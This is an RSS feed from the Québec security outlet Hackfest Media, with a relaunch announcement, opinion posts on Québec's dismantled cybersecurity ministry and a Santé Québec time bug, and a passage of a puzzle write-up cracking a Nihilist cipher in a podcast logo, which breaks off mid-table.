<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Hackfest Media (English)</title>
    <link>https://media.hackfest.ca/en/</link>
    <atom:link href="https://media.hackfest.ca/en/feed.xml" rel="self" type="application/rss+xml" />
    <description>News, analysis and opinion from Québec’s information security community.</description>
    <language>en-CA</language>
    <copyright>© 2009–2026 Hackfest Communication</copyright>
    <lastBuildDate>Wed, 04 Nov 2026 17:44:06 +0000</lastBuildDate>
    <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
    <image>
      <url>https://media.hackfest.ca/images/icons/favicon-32.png</url>
      <title>Hackfest Media</title>
      <link>https://media.hackfest.ca/en/</link>
    </image>
    <generator>Jekyll</generator>
    <item>
      <title>Hackfest Media is born</title>
      <link>https://media.hackfest.ca/en/blog/hackfest-media-is-born</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/hackfest-media-is-born</guid>
      <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>News &amp; opinion</category>
      <category>news</category>
      <category>Hackfest Media</category>
      <category>Hackfest</category>
      <category>securite.fm</category>
      <category>podcast</category>
      <category>sponsorship</category>
      <description>The Hackfest blog gets a new name and a bigger ambition: one place for our news, our opinions, our social media posts and the highlights of the podcast.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/hackfest-media-lancement.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>The Hackfest blog is now <strong>Hackfest Media</strong>, at a new address: <a href="https://media.hackfest.ca">media.hackfest.ca</a>. Same community, same straight talk, but a bigger ambition: to be the place where Québec’s information security community gets the news, debates and meets.</p>

<p>Every article published since 2009 is still here, and old links still work. Every article is published in French and in English.</p>

<h2 id="what-youll-find-here">What you’ll find here</h2>

<p>Articles are sorted into eight categories:</p>

<ul>
  <li><a href="https://media.hackfest.ca/en/categories/nouvelles/">News &amp; opinion</a>: local cyber news and where we stand.</li>
  <li><a href="https://media.hackfest.ca/en/categories/rancongiciels/">Ransomware</a>: the attacks and the criminal groups targeting Québec and Canada.</li>
  <li><a href="https://media.hackfest.ca/en/categories/vulnerabilites/">Vulnerabilities</a>: vulnerability analyses, disclosures and fixes.</li>
  <li><a href="https://media.hackfest.ca/en/categories/fuites-donnees/">Leaks &amp; privacy</a>: data leaks, passwords and personal information.</li>
  <li><a href="https://media.hackfest.ca/en/categories/politique/">Policy &amp; regulation</a>: laws, regulators and government decisions.</li>
  <li><a href="https://media.hackfest.ca/en/categories/outils-projets/">Tools &amp; projects</a>: projects and tools published by the community.</li>
  <li><a href="https://media.hackfest.ca/en/categories/walkthroughs/">Walkthroughs &amp; CTF</a>: solutions to challenges and training rooms.</li>
  <li><a href="https://media.hackfest.ca/en/categories/cryptographie/">Cryptography &amp; puzzles</a>: ciphers, riddles and puzzles.</li>
</ul>

<h2 id="our-social-media-in-one-place">Our social media, in one place</h2>

<p>The comments and opinions we post on our social networks will now be published here too. A thread on LinkedIn or Mastodon fades fast. Here it stays, with its sources, and it’s easy to find, quote and share.</p>

<h2 id="the-securitefm-podcast">The securite.fm podcast</h2>

<p>Important clips and standout episodes of the <a href="https://securite.fm">securite.fm</a> podcast will also have their place on Hackfest Media, with the context and links to dig deeper.</p>

<h2 id="sponsor-hackfest-media">Sponsor Hackfest Media</h2>

<p>Hackfest Media can be sponsored. Want to support an independent outlet and reach Québec’s information security community directly? Packages and prices are on the <a href="https://media.hackfest.ca/en/sponsor">Sponsor</a> page.</p>

<h2 id="write-with-us">Write with us</h2>

<p>Have news, an analysis or an opinion to share? <a href="https://media.hackfest.ca/en/contact">Pitch an article</a>. To follow what we publish, subscribe to the <a href="https://media.hackfest.ca/en/feed.xml">RSS feed</a> or join the community on <a href="https://discord.hackfest.ca">Discord</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Québec dismantles its Ministry of Cybersecurity and Digital Affairs</title>
      <link>https://media.hackfest.ca/en/blog/quebec-dismantles-cybersecurity-digital-ministry</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/quebec-dismantles-cybersecurity-digital-ministry</guid>
      <pubDate>Tue, 03 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>News &amp; opinion</category>
      <category>news</category>
      <category>opinion</category>
      <category>MCN</category>
      <category>Treasury Board</category>
      <category>Alain Therrien</category>
      <category>Québec government</category>
      <category>polqc</category>
      <description>Dismantling the MCN without a bill, in the middle of a wave of cyberattacks, and handing the State’s security to the Treasury Board: a risk Québec can’t afford.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" alt="Radio-Canada photo from the article on the dismantling of the MCN" />
<em>Photo: Radio-Canada / Sylvain Roy Roussel.</em></p>

<p><a class="source-card" href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique" rel="noopener" hreflang="fr"><span class="source-card__label">Source (in French)</span><span class="source-card__title" lang="fr">Le PQ démantèle le ministère de la Cybersécurité et du Numérique</span><span class="source-card__site">ici.radio-canada.ca ↗</span></a></p>

<p>Québec is dismantling its Ministry of Cybersecurity and Digital Affairs (Ministère de la Cybersécurité et du Numérique, MCN) and handing the security of the State to a minister with no experience in cybersecurity, IT or information security… in the middle of a cyberwar against cities, energy and food giants.</p>

<p>The ministry was dismantled without a bill. No vote in the National Assembly, and its 2,038 employees now report to the Treasury Board Secretariat (Secrétariat du Conseil du trésor, SCT).</p>

<p>The minister who inherits the State’s cybersecurity, Alain Therrien, is an economist. He has <strong>NO</strong> experience in IT, cybersecurity or information security. Except for 5 months as an opposition critic in 2015, when he criticized how budgets were managed. Let’s be honest: every government project has a budget problem.</p>

<p>But ransomware couldn’t care less about your government calls for tenders.</p>

<p>We’re not asking for a minister who codes. We’re asking for someone, somewhere, with ten or so years of experience in the field, who knows what they’re talking about.</p>

<h2 id="sources">Sources</h2>

<p>Most sources are in French.</p>

<ul class="sources">
  <li><a href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique">The dismantling of the MCN</a> <span class="source-site">radio-canada.ca ↗</span></li>
  <li><a href="https://www.legisquebec.gouv.qc.ca/fr/document/lc/G-1.03">The role of the chief information officer</a> <span class="source-site">legisquebec.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.assnat.qc.ca/fr/deputes/therrien-alain-12189/biographie.html">Alain Therrien’s background</a> <span class="source-site">assnat.qc.ca ↗</span></li>
  <li>His remarks on IT in 2015 (Committee on Public Finance)
    <ul>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-150515.html">Session of May 15, 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-151023.html">Session of October 23, 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
    </ul>
  </li>
  <li><a href="https://moncarnet.com/2026/11/02/le-pq-demantele-le-ministere-de-la-cybersecurite-et-du-numerique-une-decision-qui-suscite-la-controverse/">His statement on IT contracts</a> <span class="source-site">moncarnet.com ↗</span></li>
  <li><a href="https://lereflet.qc.ca/alain-therrien-nomme-president-du-conseil-du-tresor/">“Keeping the purse strings tight”</a> <span class="source-site">lereflet.qc.ca ↗</span></li>
  <li><a href="https://gowlingwlg.com/en/insights-resources/articles/2025/quebec-stop-publishing-privacy-reports">The CAI no longer publishes the list of privacy incidents</a> <span class="source-site">gowlingwlg.com ↗</span></li>
  <li><a href="https://www.cai.gouv.qc.ca/actualites/publication-du-rapport-quinquennal-2026-de-la-commission">The CAI considers its resources insufficient</a> <span class="source-site">cai.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.lapresse.ca/actualites/2026-02-16/fiasco-saaqclic/quelles-sont-les-recommandations-du-rapport-gallant.php">Recommendation no. 1 of the Gallant report</a> <span class="source-site">lapresse.ca ↗</span></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Santé Québec invents hour compression</title>
      <link>https://media.hackfest.ca/en/blog/sante-quebec-time-compression</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/sante-quebec-time-compression</guid>
      <pubDate>Mon, 02 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>News &amp; opinion</category>
      <category>news</category>
      <category>opinion</category>
      <category>Santé Québec</category>
      <category>daylight saving time</category>
      <category>software development</category>
      <description>At the time change, two 1 a.m. hours become a single “logical hour”. Coded, approved, signed off and shipped to production: it’s not a bug, it’s a feature.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" alt="Santé Québec infographic (in French): “How time compression works”, where the two 1 a.m. hours are combined into a single logical hour" /></p>

<p>INCOMPETENCE. There is no other word for it.</p>

<p>Santé Québec has invented hour compression, a real farce!</p>

<ul>
  <li>A dev coded it.</li>
  <li>A project manager approved it.</li>
  <li>The administration signed off on it.</li>
  <li>And it went to production. 🤡</li>
</ul>

<p>It’s not a bug, it’s a <em>feature</em>, born from a series of failures.</p>

<p>🎥 Jean-René Dufort’s interview (in French): <a href="https://www.facebook.com/reel/1434156314822606">https://www.facebook.com/reel/1434156314822606</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cracking the message hidden in the La French Connection podcast logo</title>
      <link>https://media.hackfest.ca/en/blog/lfc-podcast-logo-cipher-cracked</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/lfc-podcast-logo-cipher-cracked</guid>
      <pubDate>Wed, 13 Dec 2023 08:00:00 +0000</pubDate>
      <dc:creator>Minkowski</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Cryptography &amp; puzzles</category>
      <category>La French Connection</category>
      <category>podcast</category>
      <category>encryption</category>
      <description>Since its very beginnings, the logo of the La French Connection podcast has displayed an encrypted message. Many people have dreamed of unravelling the mystery of this cipher. Fair warning to those who don’t want to break the spell: read no further, because this text reveals the secrets and the message behind the logo.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/logo-360x360.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<h1 id="summary">Summary</h1>
<p>Since its very beginnings, the logo of the <em>La French Connection</em> podcast
has displayed an encrypted message. Many people have dreamed of
unravelling the mystery of this cipher. Fair warning to those who don’t
want to break the spell: read no further, because this text reveals the
secrets and the message behind the logo. (1)</p>

<h1 id="analysis">Analysis</h1>

<p>Fans of the <em>La French Connection</em> podcast noticed long ago that the
bottom of the podcast’s logo bears a mysterious inscription that, without
a doubt, conceals a secret message (Figure 1).</p>

<h2 id="the-encrypted-message">The encrypted message</h2>

<p>The mysterious cipher is made up of 25 hexadecimal numbers. It is often
easier to convert hexadecimal numbers into decimal numbers.
<a href="https://gchq.github.io/CyberChef/">CyberChef</a> handles this kind of chore
very well (Table 1).</p>

<p><img src="https://media.hackfest.ca/images/posts/logo-360x360.webp" alt="Logo of the La French Connection podcast." /></p>

<p>Figure 1: Logo of the La French Connection podcast.</p>

<p>Table 1: The mysterious cipher.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95
</code></pre></div></div>

<h2 id="frequencies">Frequencies</h2>

<p>Since we’re already putting CyberChef to good use, we might as well take
advantage of it to run a frequency analysis. Figure 2 shows the result of
this analysis. We can see that out of 25 numbers, only two are repeated
(4F and 62). At the same time, the sequence is not random, since the
values are not evenly distributed across the range of 256 possible
numbers (from 00 to FF).</p>

<p><img src="https://media.hackfest.ca/images/posts/frequency.webp" alt="Frequency analysis of the numbers." /></p>

<p>Figure 2: Frequency analysis of the numbers.</p>

<p>These results allow us to rule out modern encryption or a hash function,
which would produce more uniform data. Moreover, we are not dealing with
a simple substitution cipher either, since there are few repetitions.
Because the encrypted message is very short, it is hard to carry out a
more thorough statistical analysis or to use brute force without first
identifying the encryption method.</p>

<p>Looking more closely at the decimal numbers, we notice that none of them
ends in 1, 2 or 4. In addition, the units digits are not evenly
distributed, as shown in Table 2. The distribution of the tens digit is a
bit more uniform, but there is no digit smaller than 20 at all (Table 3).</p>

<p>Table 2: Distribution of the units digit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16
</code></pre></div></div>

<p>Table 3: Distribution of the tens digit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20
</code></pre></div></div>

<h1 id="in-search-of-the-lost-cipher">In search of the lost cipher</h1>

<p>With the little information we have gathered, we can explore several
leads to try to identify the cipher that was used. The numbers in the
cipher were almost certainly generated using simple mathematical rules
that give them the characteristics we observed. A good place to start
looking for the cipher is <a href="https://www.dcode.fr/">dCode</a>. This site is a
valuable resource for learning more about codes and encryption. It offers
not only very detailed descriptions of several dozen classical ciphers,
but also tools to encode, decode and break some of them.</p>

<h2 id="polybius">Polybius</h2>

<p>We are probably dealing with a substitution or transposition cipher that
includes additional elements to make decryption harder. The most fun way
to identify the cipher used is to spend long hours exploring the various
classical ciphers, reading their descriptions, and encrypting and
decrypting different messages. It is also the most time-consuming method.
If you use it, you will probably end up stumbling on the Polybius cipher,
which uses the Polybius square, a 5x5 grid that maps each letter of the
alphabet to a number between 11 and 55. Table 4 shows one possible
square. Since the alphabet has 26 letters, one of them has to be
sacrificed. In this case, Z is sacrificed, but J, V or W are also
frequently dropped.</p>

<p>Table 4: Polybius square.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y
</code></pre></div></div>

<p>To encrypt a message using a Polybius square, you simply find the letter
in the table and replace it with the number formed by the row number
followed by the column number. For example, the letter Q would be
replaced by the number 42.</p>

<h2 id="polybius-on-steroids">Polybius on steroids</h2>

<p>To make life harder for the curious, you can use a key to change the
order of the letters in the grid. The word used must have distinct
letters. You write the letters of this secret word at the top of the grid
and continue with the remaining letters. For example, with the key HACK
we would get the square shown in Table 5.</p>

<p>Table 5: Polybius square with the key HACK.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y
</code></pre></div></div>

<p>The Polybius cipher shows a regularity in the numbers it uses, which
makes it easy to identify, since only the numbers 11, 12, 13, 14, 15, 21,
22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45, 51, 52, 53, 54,
55 can be used.</p>

<h2 id="polybius-or-not-polybius-that-is-the-question">Polybius or not Polybius? That is the question!</h2>

<p>Although the Polybius cipher shares some similarities with the
characteristics of our message, the possible numbers do not match. So we
are dealing either with another cipher or with a variant of the Polybius
cipher using a different grid.</p>

<p>Reading up a bit more on the Polybius cipher, we find that it is often
associated with the Nihilist cipher, which is a superencryption of the
Polybius square. The Nihilist cipher can be recognized by the following
clues:</p>

<ul>
  <li>
    <p>Contains only numbers between 22 and 110.</p>
  </li>
  <li>
    <p>Contains none of the following numbers:<br />
21, 31, 41, 51, 61, 71, 81, 91, 101.</p>
  </li>
  <li>
    <p>The cipher comes with some kind of reference to Russia.</p>
  </li>
</ul>

<h2 id="mini-osint">Mini OSINT</h2>

<p>The first two characteristics match the secret message at the bottom of
the logo perfectly, but some mention of Russia in an episode would seal
the deal. A bit of white-belt Google Fu (<em>logo site:securite.fm</em>) reveals
that the encoded message in the logo is mentioned in episode 0x017
(around the 40-minute mark), as shown in Figure 3. In that episode,
Damien, ever the foodie, gives us a hint: "Poutine"... Unless he is
referring to another kind of "Putin", far less digestible.</p>

<p><img src="https://media.hackfest.ca/images/posts/googlefu.webp" alt="Episode 0x017 mentions the logo mystery." /></p>

<p>Figure 3: Episode 0x017 mentions the logo mystery.</p>

<h1 id="the-nihilist-cipher">The Nihilist cipher</h1>

<p>Made famous by its use by the Russian nihilists of the 19th century. This
cipher is easy to memorize and allows a message to be transmitted in
several ways. For example, Russian prisoners passed messages of this kind
by knocking on the walls of their cells a number of times corresponding
to the row and then the column of each letter.</p>

<h2 id="how-it-works">How it works</h2>

<p>The Nihilist cipher works simply:</p>

<ol>
  <li>
    <p>You choose a Polybius square, with the letters possibly scrambled
using a key agreed upon in advance. For example, the square in
Table 5.</p>
  </li>
  <li>
    <p>You encode the message with the grid. Each letter is assigned a
number corresponding to a row and a column. The message
"MESSAGESECRET" would, for example, become: 33 22 44 44 12 24 22 44
22 13 43 22 45.</p>
  </li>
  <li>
    <p>You choose a superencryption key and encode it with the Polybius
square. If you choose "PLANET" as the key, you get 41 32 12 34
22 45.</p>
  </li>
  <li>
    <p>You write the encoded key out as many times as needed under the
encoded message and add the two numbers together, as in Table 6.</p>
  </li>
</ol>

<p>Table 6: Superencryption.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86
</code></pre></div></div>

<p>What you end up with is a substitution cipher to which a key is
repeatedly added. In the end, you get a fractionated polyalphabetic
cipher, since two identical letters can be encoded differently depending
on their position in the message.</p>

<h2 id="vulnerabilities">Vulnerabilities</h2>

<p>The Nihilist cipher has multiple vulnerabilities, including those below:</p>

<ul>
  <li>
    <p>The superencryption key is repeated. When the encrypted message is
longer than the key, similarities can be observed between blocks of
text that are the same length as the key.</p>
  </li>
  <li>
    <p>There is a limited number of combinations for the additions. For
example, the number 80 can only be obtained with the additions
$25+55$ or $35+45$.</p>
  </li>
  <li>
    <p>The larger or smaller the numbers, the more limited the
possibilities. For example, 22 or 110 can only be obtained if the
encoded letter is the same as the superencryption key letter and
that letter is in the top-left or bottom-right corner of the grid,
respectively.</p>
  </li>
  <li>
    <p>A number with a 0 in the units position indicates that the numbers
added together come from the last column.</p>
  </li>
  <li>
    <p>Similarly, a number with a 2 in the units position comes from an
addition of numbers from the first column.</p>
  </li>
  <li>
    <p>Once the key length is identified and the key space narrowed down,
the key can be found (if it is a word) by deduction or with a
dictionary.</p>
  </li>
  <li>
    <p>Once the superencryption key is found, the problem boils down to a
simple substitution cipher, a Polybius cipher.</p>
  </li>
</ul>

<p>Cryptanalysis of the Nihilist cipher becomes much easier if the encoded
message is long and/or if we have another decoded message that was
encrypted with the same grid and the same superencryption key.
Unfortunately, in this case, we have neither of these helpful elements.</p>

<h1 id="decryption">Decryption</h1>

<p>There are very few repetitions in the encoded message, 78 57 68 96 53 99
59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, which
indicates that the superencryption key is probably not trivially short
(1, 2 or 3 characters).</p>

<h2 id="key-length">Key length</h2>

<p>The first step is to determine the length of the superencryption key,
which will give us the period of the cipher. A cipher will have a period
of 4 if a 4-character key is repeated for the encryption, since every
block of 4 letters will use the same key.</p>

<p>To determine the key length, we will build tables with a number of
columns matching the key length we want to test. For example, if we want
to check whether a 6-character key is possible, we need to build Table 7
with 6 columns and fill it with the encrypted message, in order.</p>

<p>Table 7: Table to test whether a 6-character key is possible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      
</code></pre></div></div>

<p>We need to build a table like this for every superencryption key length
we want to test. In our case, between 1 and 25 columns.</p>

<p>For each column of a table, we apply the algorithm below. First to the
tens digit, then to the units digit. If, for a given column, this
algorithm returns false for either the tens or the units digit, it means
no addition is possible for the combinations of numbers in that column.
The superencryption key therefore cannot have the assumed length.</p>

<p>Essentially, we check that the difference between the maximum and
minimum digit is less than 5. If it isn’t, it is impossible for a single
digit (between 1 and 5) to have superencoded the units or tens digit. For
example, if the units digits for a column are 2, 4, 7, 3, 4, the
difference between 7 and 2 is 5. And it is impossible to find two digits
such that $x_1 + y = 7$ and $x_2 + y = 2$ where $1\leq x_i \leq 5$ and
$1\leq y \leq 5$</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \&lt; 5

</code></pre></div></div>

<p>Going back to Table 7, we see that the tens digits for the first column
are 7, 5, 4, 3, 9. There is a difference of 6 between the maximum and
minimum digits, so no 6-character key could have been used.</p>

<p>If we apply this rule to tables of 2 to 25 rows (using a homemade Python
script), we get possible key lengths of 10, 20, 22, 23, 24 or 25. Since
the message is 25 characters long, keys between 20 and 25 characters are
considered possible, because in those cases most columns will contain
only one number. However, they are unlikely, since if the key length is
close to the message length, we would almost have a Vernam cipher
(one-time pad), which would be practically impossible to decode without
knowing the key.</p>

<p>Under these circumstances, the key length is most likely 10.</p>

<h2 id="key-space">Key space</h2>

<p>Once the key length is established, we can try to narrow down the key
space. Indeed, with the Nihilist cipher, not every 10-character key is
possible, only a reduced number of them. To limit the number of possible
keys, we need Table 8, with as many columns as the key length.</p>

<p>Table 8: 10-column table.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      
</code></pre></div></div>

<p>For each column of this table, we need to apply the following algorithm,
which will produce the list of numbers possibly used to superencrypt a
column. Once again, this is a direct consequence of using the Polybius
square, which limits the units or tens digit to a number between 1
and 5.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite &lt; 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine &lt; 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

</code></pre></div></div>

<p>If we apply this algorithm to each column of Table 8, we get the
possibilities in Table 9 for each character of the superencryption key.</p>

<p>Table 9: Key space.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52
</code></pre></div></div>

<p>Even though all these calculations can be done by hand, a Python script
can be a big help, both in terms of time and of mental health.</p>

<h2 id="numbers">Numbers</h2>

<p>For this cipher, we therefore have a 10-character key, with each
character having 6, 3, 6, 1, 2, 4, 6, 4, 4 and 6 possibilities
respectively. The number of possible combinations is
$6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$.
Many of these combinations are not words. We could start by excluding
them but, in the end, if the key is random, we have 497664 keys to test.</p>

<p>Furthermore, if we don’t want to have to manually validate every
decryption attempt, we would need to automate the whole thing by
comparing each 4-character block of a decoding attempt against French
and English <a href="https://github.com/torognes/enigma/blob/master/">quadgrams</a>
(we assume the message is in one of those two languages), of which there
are about 400000 each. Note that there are 22 possible 4-character blocks
in a 25-character sequence.</p>

<p>Finally, nothing guarantees that a completely random Polybius square
wasn’t used for the initial substitution. For 26 letters, there are
$26! \approx 4 \times 10^{26}$ possible squares.</p>

<p>We would have approximately
$497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$
tests to run.</p>

<p>That’s a lot of paths to explore, so we need to narrow this search space
even further by making several assumptions.</p>

<h2 id="assumptions">Assumptions</h2>

<p>To start with, we will make the following assumptions:</p>

<ol>
  <li>
    <p>The superencryption key is a word. Probably related to the podcast.</p>
  </li>
  <li>
    <p>The Polybius square used is one of the few best-known squares (with
the letters of the alphabet practically in order).</p>
  </li>
  <li>
    <p>The language used for the key and the original message is either
French or English.</p>
  </li>
  <li>
    <p>The Nihilist algorithm used to encrypt the message was not modified
to make decryption harder.</p>
  </li>
</ol>

<h2 id="finding-the-superencryption-key">Finding the superencryption key</h2>

<p>Armed with these assumptions, we can finally tackle the superencryption
key. We assume that the most common Polybius square, which omits the
letter "J", was used (Table 10). Encoding the message with this square
would imply using the letters in Table 11 to encrypt the key.</p>

<p>Table 10: Polybius square presumably used.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z
</code></pre></div></div>

<p>Table 11: Possible letters for the key.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W
</code></pre></div></div>

<p>The 10 most common letters in French words are e, a, i, s, n, r, t, o, l,
u, while in English they are e, t, a, o, i, n, s, h, r, d. For now, let’s
keep only the letters that are most common in both languages. Doing so,
we realize almost immediately, if we have ever played Scrabble or done
word searches, that we almost have the word SECURITÉ or SECURITY
(Table 12). This is most certainly no coincidence.</p>

<p>Table 12: Filtered possible letters.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    
</code></pre></div></div>

<p>A good way to check whether we’re on the right track is to use this
partial superencryption key to decode the message. Using
<a href="https://www.dcode.fr/">dCode</a> greatly speeds up this kind of test, since
it lets you quickly change either the Polybius square or the key. Since
we are missing a few letters in the key to form a word, we will
arbitrarily replace them with the first letter of each column. This gives
us the key <em>SECURTTAAL</em>. Using it together with Table 10 to try to
decrypt the message, we get <em>PRZVAZEDKYZSNOTGPOGMZCKEX</em>.</p>

<p>We notice a short English word and a few common English bigrams in the
partially decoded message:<br />
<strong>PR</strong>Z<strong>VA</strong>ZEDKYZS<strong>NOT</strong>GPOGMZC<strong>KE</strong>X.</p>

<p>This is a big step, since we have identified the language of the
original message. Moreover, there are more "Z"s than there should be in
this message, which suggests there is a problem with the Polybius square
used. Looking at the list of the 10 most common letters in English, we
notice that "I", the fifth most used letter in that language, never
appears, while "Z" appears four times. If we swap the positions of
"I" and "Z" in the Polybius square and try decoding the message
again, we get a partially decoded message with even more words and
partial words <strong>PRIVA</strong>I<strong>E</strong>DKY<strong>ISNOT</strong>GPOGMIC<strong>KE</strong>X.</p>

<p>At this point, it is much easier to try a few other keys than to try to
modify the Polybius square. Trying the keys SECURITEAL and SECURITYAL, we
get:\</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?
</code></pre></div></div>

<p>The first key attempt, with the French word, is clearly better, even
though two letters cannot be decoded with the Polybius square used. For
the last two letters of the key, we can either use brute force and test
every possible combination, or remember (thanks to our mini OSINT) that
the podcast’s website is <a href="https://securite.fm/">securite.fm</a>.</p>

<p>With the superencryption key "SECURITEFM", we decode the message
<em>PRIVATE?EXISNOTAP?BLICKEX</em>, which we can guess is
"PRIVATEKEXISNOTAPUBLICKEY". However, the message cannot be fully
decoded with this key. We can easily improve the situation by swapping
the letters "X" and "Y" in the Polybius square to get Table 13.</p>

<p>Table 13: Final Polybius square.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
